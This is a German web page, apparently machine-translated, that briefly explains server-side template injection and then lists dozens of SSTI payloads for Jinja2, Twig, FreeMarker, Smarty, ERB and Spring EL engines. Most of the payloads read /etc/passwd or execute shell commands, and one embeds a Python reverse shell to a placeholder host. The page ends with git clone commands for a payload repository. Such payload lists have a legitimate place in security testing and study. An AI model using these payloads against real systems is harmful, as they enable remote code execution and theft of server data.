Die serverseitige Vorlageninjektion ist, wenn ein Angreifer die native Vorlagensyntax verwenden kann, um eine böswillige Nutzlast in eine Vorlage zu injizieren, die dann serverseitig ausgeführt wird.
Template -Motoren sind so konzipiert, dass sie Webseiten generieren, indem feste Vorlagen mit flüchtigen Daten kombiniert werden. Die Server-Side-Vorlage-Injektionsangriffe können auftreten, wenn die Benutzereingabe direkt in eine Vorlage verkettet wird, anstatt als Daten übergeben zu werden. Auf diese Weise können Angreifer beliebige Vorlagenanweisungen injizieren, um die Vorlagen -Engine zu manipulieren, sodass sie häufig die vollständige Kontrolle über den Server übernehmen können. Wie der Name schon sagt, werden serverseitige Vorlagen-Injektionsnutzlasten geliefert und serverseitig bewertet, wodurch sie möglicherweise viel gefährlicher sind als eine typische Client-Seite-Vorlage-Injektion.
Sicherheitslücken auf der Server-Seite-Vorlage für die Injektion von Vorlagen können Websites je nach der fraglichen Vorlage-Engine und der genauen Verwendung der Anwendung einer Vielzahl von Angriffen aussetzen. Unter bestimmten seltenen Umständen stellen diese Schwachstellen kein wirkliches Sicherheitsrisiko dar. In den meisten Fällen kann die Auswirkungen der serverseitigen Vorlageninjektion katastrophal sein.
Am schwerwiegenden Ende der Skala kann ein Angreifer möglicherweise eine Remote -Codeausführung erreichen, die die vollständige Kontrolle über den Backend -Server übernehmen und ihn verwenden, um andere Angriffe auf die interne Infrastruktur auszuführen.
Selbst in Fällen, in denen eine vollständige Remote-Code-Ausführung nicht möglich ist, kann ein Angreifer häufig die serverseitige Vorlageninjektion als Grundlage für zahlreiche andere Angriffe verwenden, wodurch der Zugriff auf sensible Daten und willkürliche Dateien auf dem Server potenziell erhalten kann.
{{ 2 * 2 }}[[ 3 * 3 ]]
{{ 3 * 3 }}
{{ 3 * '3' }}
< %= 3 * 3 % >
${ 6 * 6 }
${{ 3 * 3 }}
@( 6 + 5 )
#{3*3}
#{ 3 * 3 }
{{ dump ( app )}}
{{ app . request . server . all | join ( ',' )}}
{{ config . items ()}}
{{ []. class . base . subclasses () }}
{{ '' . class . mro ()[ 1 ]. subclasses ()}}
{{ '' . __class__ . __mro__ [ 2 ]. __subclasses__ () }}
{{ '' . __class__ . __base__ . __subclasses__ ()}} # Search for Popen process, use payload below change 227 to index of Popen
{{ '' . __class__ . __base__ . __subclasses__ ()[ 227 ]( 'cat /etc/passwd' , shell = True , stdout = - 1 ). communicate ()}}
{ % for key , value in config . iteritems () % } < dt > {{ key | e }} < / dt > < dd > {{ value | e }} < / dd > { % endfor % }
{{ 'a' . toUpperCase ()}}
{{ request }}
{{ self }}
< %= File . open ( '/etc/passwd' ). read % >
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[ #assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${ "freemarker.template.utility.Execute" ? new ()( "id" )}
{{ app . request . query . filter ( 0 , 0 , 1024 ,{ 'options' : 'system' })}}
{{ '' . __class__ . __mro__ [ 2 ]. __subclasses__ ()[ 40 ]( '/etc/passwd' ). read () }}
{{ config . items ()[ 4 ][ 1 ]. __class__ . __mro__ [ 2 ]. __subclasses__ ()[ 40 ]( "/etc/passwd" ). read () }}
{{ '' . __class__ . mro ()[ 1 ]. __subclasses__ ()[ 396 ]( 'cat /etc/passwd' , shell = True , stdout = - 1 ). communicate ()[ 0 ]. strip ()}}
{{ config . __class__ . __init__ . __globals__ [ 'os' ]. popen ( 'ls' ). read ()}}
{ % for x in (). __class__ . __base__ . __subclasses__ () % }{ % if "warning" in x . __name__ % }{{ x (). _module . __builtins__ [ '__import__' ]( 'os' ). popen ( request . args . input ). read ()}}{ % endif % }{ % endfor % }
{$ smarty . version }
{ php } echo `id` ;{ / php }
{{[ 'id' ] | filter ( 'system' )}}
{{[ 'cat x20 /etc/passwd' ] | filter ( 'system' )}}
{{[ 'cat$IFS/etc/passwd' ] | filter ( 'system' )}}
{{ request | attr ([ request . args . usc * 2 , request . args . class , request . args . usc * 2 ] | join )}}
{{ request | attr ([ "_" * 2 , "class" , "_" * 2 ] | join )}}
{{ request | attr ([ "__" , "class" , "__" ] | join )}}
{{ request | attr ( "__class__" )}}
{{ request . __class__ }}
{{ request | attr ( 'application' ) | attr ( ' x5f x5f globals x5f x5f ' ) | attr ( ' x5f x5f getitem x5f x5f ' )( ' x5f x5f builtins x5f x5f ' ) | attr ( ' x5f x5f getitem x5f x5f ' )( ' x5f x5f import x5f x5f ' )( 'os' ) | attr ( 'popen' )( 'id' ) | attr ( 'read' )()}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " new java . lang . String ( 'xxx' ) " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " whoami \ " ); x . start () " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " netstat \ " ); org . apache . commons . io . IOUtils . toString ( x . start (). getInputStream ()) " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " uname \ " , \ " - a \ " ); org . apache . commons . io . IOUtils . toString ( x . start (). getInputStream ()) " )}}
{ % for x in (). __class__ . __base__ . __subclasses__ () % }{ % if "warning" in x . __name__ % }{{ x (). _module . __builtins__ [ '__import__' ]( 'os' ). popen ( "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(( " ip " ,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([ " /bin/cat " , " /etc/passwd " ]);'" ). read (). zfill ( 417 )}}{ % endif % }{ % endfor % }
${ T ( java . lang . System ). getenv ()}
${ T ( java . lang . Runtime ). getRuntime (). exec ( 'cat etc/passwd' )}
${ T ( org . apache . commons . io . IOUtils ). toString ( T ( java . lang . Runtime ). getRuntime (). exec ( T ( java . lang . Character ). toString ( 99 ). concat ( T ( java . lang . Character ). toString ( 97 )). concat ( T ( java . lang . Character ). toString ( 116 )). concat ( T ( java . lang . Character ). toString ( 32 )). concat ( T ( java . lang . Character ). toString ( 47 )). concat ( T ( java . lang . Character ). toString ( 101 )). concat ( T ( java . lang . Character ). toString ( 116 )). concat ( T ( java . lang . Character ). toString ( 99 )). concat ( T ( java . lang . Character ). toString ( 47 )). concat ( T ( java . lang . Character ). toString ( 112 )). concat ( T ( java . lang . Character ). toString ( 97 )). concat ( T ( java . lang . Character ). toString ( 115 )). concat ( T ( java . lang . Character ). toString ( 115 )). concat ( T ( java . lang . Character ). toString ( 119 )). concat ( T ( java . lang . Character ). toString ( 100 ))). getInputStream ())} root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git
root@ismailtasdelen:~# git clone [email protected]:payloadbox/ssti-payloads.git
Unterstützen Sie die Autoren: